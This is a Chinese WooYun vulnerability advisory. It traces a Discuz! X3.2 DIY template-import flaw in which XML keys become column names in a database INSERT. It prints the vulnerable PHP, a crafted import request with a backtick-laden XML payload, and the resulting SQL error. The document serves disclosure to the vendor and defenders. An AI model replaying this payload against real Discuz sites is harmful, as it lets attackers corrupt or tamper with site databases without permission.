当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076041

漏洞标题:Discuz! xxe 可破坏数据库结构,导致脏数据进入

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-09-14 13:55

修复时间:2014-12-13 13:56

公开时间:2014-12-13 13:56

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-13: 细节向公众公开

简要描述:

Discuz! xxe 可破坏数据库结构,导致脏数据进入.......dz太变态了,小引号也过滤了,妹的,没办法只能分析到这里,但是隐约感觉到,这里存在很大的风险,因为改变了系统模板风格,先发个福利,大家自己看吧

详细说明:

首先我们看文件:
portalcp_diy.php(lines:301-324):

if (submitcheck('importsubmit')) {
$isinner = false;
$filename = '';
if($_POST['importfilename']) {
$filename = DISCUZ_ROOT.'./template/default/portal/diyxml/'.$_POST['importfilename'].'.xml';
$isinner = true;
} else {
$upload = new discuz_upload();
$upload->init($_FILES['importfile'], 'temp');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
}
if($upload->error()) {
showmessage($upload->error(),'portal.php',array('status'=>$upload->error()));
} else {
$filename = $attach['target'];
}
}
if($filename) {
$arr = import_diy($filename);

if(!$isinner) {
@unlink($filename);
}


这里有一个import_diy函数,我们跟进去看看:
function_portalcp(lines:580-680):

function import_diy($file) {
global $_G;
$css = '';
$html = array();
$arr = array();
$content = file_get_contents($file);
require_once libfile('class/xml');
if (empty($content)) return $arr;
$content = preg_replace("/\<\!\-\-\[name\](.+?)\[\/name\]\-\-\>\s+/i", '', $content);
$diycontent = xml2array($content);

if ($diycontent) {

foreach ($diycontent['layoutdata'] as $key => $value) {
if (!empty($value)) getframeblock($value);
}
$newframe = array();
foreach ($_G['curtplframe'] as $value) {
$newframe[] = $value['type'].random(6);
}
$mapping = array();
if (!empty($diycontent['blockdata'])) {
$mapping = block_import($diycontent['blockdata']);
unset($diycontent['blockdata']);
}
exit;


这里我们在打一个exit,因为后面的代码没有意义,不去看他了
第一个地方$diycontent = xml2array($content);
这个函数就是把post过来的xml转换成为数组存起来:
赋值所以条件成立后,函数流向block_import,我们跟进去看看:
function_portcp(lines:472-500):
if($data['style']) {
$hashes = $styles = array();
foreach($data['style'] as $value) {
$hashes[] = $value['hash'];
$styles[$value['hash']] = $value['styleid'];
}

C::t('common_block_style')->fetch_all_by_hash($hashes);

if(!empty($hashes)) {
foreach(C::t('common_block_style')->fetch_all_by_hash($hashes) as $value) {
$id = $styles[$value['hash']];
$stylemapping[$id] = intval($value['styleid']);
unset($styles[$value['hash']]);
}
}
foreach($styles as $id) {
$style = $data['style'][$id];
$style['styleid'] = '';
if(is_array($style['template'])) {
$style['template'] = serialize($style['template']);
}
if(is_array($style['fields'])) {
$style['fields'] = serialize($style['fields']);
}
echo $style;
$newid = C::t('common_block_style')->insert($style, true);
$stylemapping[$id] = $newid;
}
在insert之前我们分析一下这个$style数据源
来源两个地方
一个是这$style = $data['style'][$id];,另外一个是这行代码之后赋值的东西
在网上看看有一句:
$styles[$value['hash']] = $value['styleid'];
大家 恍然大悟了,这里存入数据库的key字段完全可控
下来分析代码缺陷到这里,我们直接构造请求包
请求的url:
http://localhost/Discuz_X3.2_SC_UTF8/upload/portal.php?mod=portalcp&ac=diy&op=import&inajax=1
发送的postdata:
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="layoutdata">
<item id="k">
<item id="kk"><![CDATA[11]]></item>
</item>
</item>
<item id="blockdata">
<item id="block">
<item id="k1k"><![CDATA[11]]></item>
</item>
<item id="style">
<item id="hash"><![CDATA[x]]></item>
<item id="x">
<item id="x\``"><![CDATA[`=sss#]]></item>
</item>
</item>
</item>
</root>
-----------------------------303962875023268
Content-Disposition: form-data; name="handlekey"
-----------------------------303962875023268
Content-Disposition: form-data; name="importsubmit"
true
-----------------------------303962875023268
Content-Disposition: form-data; name="tpl"
-----------------------------303962875023268
Content-Disposition: form-data; name="formhash"
e17868ae
-----------------------------303962875023268--
我们请求一个后发现数据库报错了,当然了我们这里就是让它报错的,看看报错的位置:

1.png


这里数据库语句为:
<div id="container">
<h1>Discuz! Database Error</h1>
<div class='info'>(1054) Unknown column 'x\' in 'field list'<div class="sql">INSERT INTO common_block_style SET `x\`='`=sss#' , `styleid`=''</div></div>
<div class="info"><p><strong>PHP Debug</strong></p><table cellpadding="5" cellspacing="1" width="100%" class="table"><tr
我们看看这个数据库字段定义:

2.png


这下明白了吧,set里面的字段完全可控,我们完全 可以控制其他本来不被控制的字段

3.png


这里就演示完毕,目前里面序列化的东西,还有后面的所有字段,都是可控,感觉潜在威胁很大,有qq公仔拿没有........

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-15 10:35

厂商回复:

感谢您对我们产品的支持,我们会尽快处理。

最新状态:

暂无